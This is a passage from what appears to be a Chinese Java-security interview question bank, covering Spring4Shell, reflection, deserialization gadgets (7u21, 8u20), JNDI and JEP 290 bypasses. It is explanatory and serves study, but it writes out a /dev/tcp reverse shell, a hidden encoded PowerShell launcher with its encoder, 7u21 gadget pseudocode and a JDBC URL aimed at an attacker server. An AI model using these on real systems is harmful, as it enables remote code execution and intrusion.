该漏洞与很久以前的`SpringMVC`对象绑定漏洞有关,曾经的修复方案是:如果攻击者尝试以`class.classloader`获取任意`class`对象的`loader`时跳过 211 | 212 | 这里的对象绑定是指将请求中的参数绑定到控制器(Controller)方法中的参数对象的成员变量,例如通过`username`和`password`等参数绑定到`User`对象 213 | 214 | 由于在`JDK9`中加入了模块`module`功能,可以通过`class.module.classLoader`得到某`class`对应的`classloader`进而利用 215 | 216 | 在`Tomcat`环境下拿到的`classloader`对象中包含了`context`,进而通过`pipeline`拿到`AccessLogValue`对象,该类用于处理`Tomcat`访问日志相关。通过修改其中的字段信息,可以将`webshell`写入指定目录下的指定文件中,以达到`RCE`的目的 217 | 218 | 219 | 220 | ### 谈谈Spring RCE的利用条件(★★★) 221 | 222 | 1. JDK9+(核心是利用到`module`功能) 223 | 2. Tomcat(为了拿到可利用的`Classloader`对象) 224 | 3. 必须存在对象绑定,如果是`String`和`int`等基本类型参数则不生效 225 | 226 | 227 | 228 | ### Spring RCE为什么在SpringBoot中不生效(★★★★) 229 | 230 | 因为在`SpringBoot`中拿到的`classloader`是`AppClassloader`类,该类不存在无参的`getResources`方法且没有其他可操作的空间,所以无法利用 231 | 232 | 233 | 234 | ### 谈谈Spring RCE的修复(★★★) 235 | 236 | 当`beanClass`为`Class`时只允许参数名为`name`并以`Name`结尾且属性返回类型不能为`Classloader`及`Classloader`子类 -------------------------------------------------------------------------------- /java/README.md: -------------------------------------------------------------------------------- 1 | ## JDK 2 | 3 | ### Java反射做了什么事情(★) 4 | 5 | 反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果 6 | 7 | 8 | 9 | ### Java反射可以修改Final字段嘛(★★) 10 | 11 | 可以做到,参考以下代码 12 | 13 | ```java 14 | field.setAccessible(true); 15 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 16 | modifiersField.setAccessible(true); 17 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); 18 | field.set(null, newValue); 19 | ``` 20 | 21 | 22 | 23 | ### 传统的反射方法加入黑名单怎么绕(★★★) 24 | 25 | 可以使用的类和方法如下(参考三梦师傅) 26 | 27 | ```java 28 | ReflectUtil.forName 29 | BytecodeDescriptor 30 | ClassLoader.loadClass 31 | sun.reflect.misc.MethodUtil 32 | sun.reflect.misc.FieldUtil 33 | sun.reflect.misc.ConstructorUtil 34 | MethodAccessor.invoke 35 | JSClassLoader.invoke 36 | JSClassLoader.newInstance 37 | ``` 38 | 39 | 40 | 41 | ### Java中可以执行反弹shell的命令吗(★★) 42 | 43 | 可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64` 44 | 45 | ```shell 46 | bash -c {echo,base64的payload}|{base64,-d}|{bash,-i} 47 | ``` 48 | 49 | 针对`Powershell`应该使用以下的命令 50 | 51 | ```shell 52 | powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64 53 | ``` 54 | 55 | 这个特殊的Base64和普通Base64不同,需要填充0,算法如下 56 | 57 | ```java 58 | public static String getPowershellCommand(String cmd) { 59 | char[] chars = cmd.toCharArray(); 60 | List temp = new ArrayList<>(); 61 | for (char c : chars) { 62 | byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8); 63 | for (byte b : code) { 64 | temp.add(b); 65 | } 66 | temp.add((byte) 0); 67 | } 68 | byte[] result = new byte[temp.size()]; 69 | for (int i = 0; i < temp.size(); i++) { 70 | result[i] = temp.get(i); 71 | } 72 | String data = Base64.getEncoder().encodeToString(result); 73 | String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "; 74 | return prefix + data; 75 | } 76 | ``` 77 | 78 | 79 | 80 | ### 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) 81 | 82 | 其实这个问题有点类似`JSP Webshell`免杀 83 | 84 | 大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等) 85 | 86 | 87 | 88 | ### RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) 89 | 90 | RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性 91 | 92 | LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性 93 | 94 | 95 | 96 | ### RMI和LDAP的限制版本分别可以怎样绕过(★★) 97 | 98 | RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发 99 | 100 | 通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过 101 | 102 | LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget` 103 | 104 | 105 | 106 | ### 谈谈TemplatesImpl这个类(★★) 107 | 108 | 这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用 109 | 110 | 一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的`defineClass`方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类,其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组,是被加载的字节码 111 | 112 | 通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法(getter)中调用了`newTransformer`方法,也是一个利用链 113 | 114 | ```text 115 | TemplatesImpl.getOutputProperties() 116 | TemplatesImpl.newTransformer() 117 | TemplatesImpl.getTransletInstance() 118 | TemplatesImpl.defineTransletClasses() 119 | ClassLoader.defineClass() 120 | Class.newInstance() 121 | ``` 122 | 123 | 124 | 125 | ### 了解BCEL ClassLoader吗(★) 126 | 127 | BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目 128 | 129 | 该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码 130 | 131 | 但是在Java 8u251之后该类从JDK中移除 132 | 133 | 134 | 135 | ### 谈谈7U21反序列化(★★★★★) 136 | 137 | 从`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足 138 | 139 | ```java 140 | if (e.hash == hash && ((k = e.key) == key || key.equals(k))) 141 | ``` 142 | 143 | 所以这里需要用哈希碰撞,让下一个`key`的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法,两个`key`对象不相同是显而易见的 144 | 145 | 接下来的任务是找到一处能触发`equals`方法的地方 146 | 147 | 反射创建`AnnotationInvocationHandler`对象,传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过`InvocationHandler.invoke`方法,在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法,会进入`equalsImpl`方法,其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用,通过`getOutputProperties`方法最终加载字节码导致RCE 148 | 149 | 关于7U21的伪代码如下 150 | 151 | ```java 152 | Object templates = Gadgets.createTemplatesImpl(); 153 | String zeroHashCodeStr = "f5a5a608"; 154 | HashMap map = new HashMap(); 155 | Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; 156 | ctor.setAccessible(true); 157 | InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); 158 | Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); 159 | LinkedHashSet set = new LinkedHashSet(); 160 | set.add(templates); 161 | set.add(proxy); 162 | map.put(zeroHashCodeStr, templates); 163 | return set; 164 | ``` 165 | 166 | 结合调用链 167 | 168 | ```text 169 | LinkedHashSet.readObject() 170 | LinkedHashSet.add()/HashMap.put() 171 | Proxy(Templates).equals() 172 | AnnotationInvocationHandler.invoke() 173 | AnnotationInvocationHandler.equalsImpl() 174 | Method.invoke() 175 | ... 176 | TemplatesImpl.getOutputProperties() 177 | ``` 178 | 179 | 可以看到伪代码最后在`map`中`put`了某个元素,这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的,跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的,累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算,可以找到符合条件的碰撞值 180 | 181 | 182 | 183 | ### 谈谈8U20反序列化(★★★★★) 184 | 185 | 这是7U21修复的绕过 186 | 187 | 在`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续 188 | 189 | 所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据 190 | 191 | 192 | 193 | ### 了解缩小反序列化Payload的手段吗(★★★) 194 | 195 | 首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 196 | 197 | 198 | 199 | ### 谈谈实战中命令执行有哪些回显的办法(★★★★) 200 | 201 | 首先想到的办法是`dnslog`等技术进行外带,但必须出网,有限制 202 | 203 | 然后类似内存马的思路,针对指定中间件找`response`对象写入执行结果 204 | 205 | 尝试写文件,往`web`目录下写,例如`xx.html`可以访问到即可 206 | 207 | 将命令执行结果抛出异常,然后用`URLClassLoader`加载,达到报错回显 208 | 209 | Y4er师傅提到的自定义类加载器配合RMI的一种方式 210 | 211 | 212 | 213 | ### 有没有了解过针对`linux`的通杀的回显方式(★★★★) 214 | 215 | 获取本次`http`请求用到`socket`的文件描述符,然后往文件描述符里写命令执行的结果 216 | 217 | 但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题 218 | 219 | 220 | 221 | ### 是否存在针对`windows`的通杀的回显方式(★★★★) 222 | 223 | 原理类似`linux`的通杀回显,在`windows`中`nio/bio`中有类似于`linux`文件描述符这样的句柄文件 224 | 225 | 遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显 226 | 227 | 228 | 229 | ### 是否了解JDBC Connection URL攻击(★★★) 230 | 231 | 果我们可以控制`JDBC URI`就可将`JDBC`连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据 232 | 233 | 指定`autoDeserialize`参数为`true`后`MySQL`客户端就可以自动反序列化恶意Payload 234 | 235 | 使用`ServerStatusDiffInterceptor`触发客户端和服务端的交互和反序列化 236 | 237 | ```text 238 | jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 239 | ``` 240 | 241 | 以上是基本攻击手段,还有一些进阶的内容,例如`allowUrlInLocalInfile`和`detectCustomCollations`参数 242 | 243 | 244 | 245 | ### 你知道JDK针对反序列化漏洞做了什么修复嘛(★★★) 246 | 247 | 在`JEP 290`中提供一个限制反序列化的类的机制,黑白名单方式,同时限制反序列化深度和复杂度,为 RMI 导出的对象设置了验证机制。具体实现是提供一个全局过滤器,可以从属性或者配置文件中配置。在`ObjectInputStream`类中增加了一个`serialFilter`属性和一个`filterChcek`函数,其中`serialFilter`就可以理解为过滤器 248 | 249 | 250 | 251 | ### JEP 290有没有绕过的办法(★★★★★) 252 | 253 | 根据`JEP 290`限制的原理,白名单对象包括了:String,Remote,Proxy,UnicaseRef,RMIClientSocketFactory等 254 | 255 | 如果目标的`RMI`服务暴漏了`Object`参数类型的方法,且该类在白名单中,我们就可以注入Payload进去以绕过检测 256 | 257 | 另外还一些骚思路,比如想办法改源码,或用`Java Agent`对某些方法`Hook`并更改等 258 | 259 | 260 | 261 | ### 谈谈`Security Manager`的绕过(★★★★) 262 | 263 | 通过设置参数`java.security.policy`指定`policy`以提权;反射调用`setSecurityManager`修改`Security Manager`以绕过;自定义`ClassLoader`并设置`ProtectionDomain`里面的权限初始化为所有权限以绕过;由于`native`方法不受`Java Security Manager`管控,所以可以调用这些方法绕过 264 | 265 | 266 | 267 | ### 简单谈谈类加载的过程(★★) 268 | 269 | 首先是由`C/C++`编写的`Bootstrap ClassLoader`用于加载`rt.jar`等核心包 270 | 271 | 然后是`Extension ClassLoader`加载`JDK`中`Ext`目录的包,可以加入自定义的包 272 | 273 | 接着是`Application Classloader`加载`CLASSPATH`中的类,项目中的类都是由该类加载器加载完成的 274 | 275 | 最后是自定义类加载器,继承`ClassLoader`类重写`findClass`方法,在`Webshell`中有应用 276 | 277 | 278 | 279 | ### 简单谈谈双亲委派(★) 280 | 281 | 当某个类加载器需要加载某个`class`文件时,首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类 282 | 283 | 父类加载器一层一层往下分配任务,如果子类加载器能加载,则加载此类,如果将加载任务分配至系统类加载器也无法加载此类,则抛出异常 284 | 285 | 286 | 287 | ### 双亲委派主要作用是什么(★★) 288 | 289 | 最主要的作用是保证系统类的安全,基础类不会被自定义类加载器破坏和篡改,其次防止重复加载可以提高效率 --------------------------------------------------------------------------------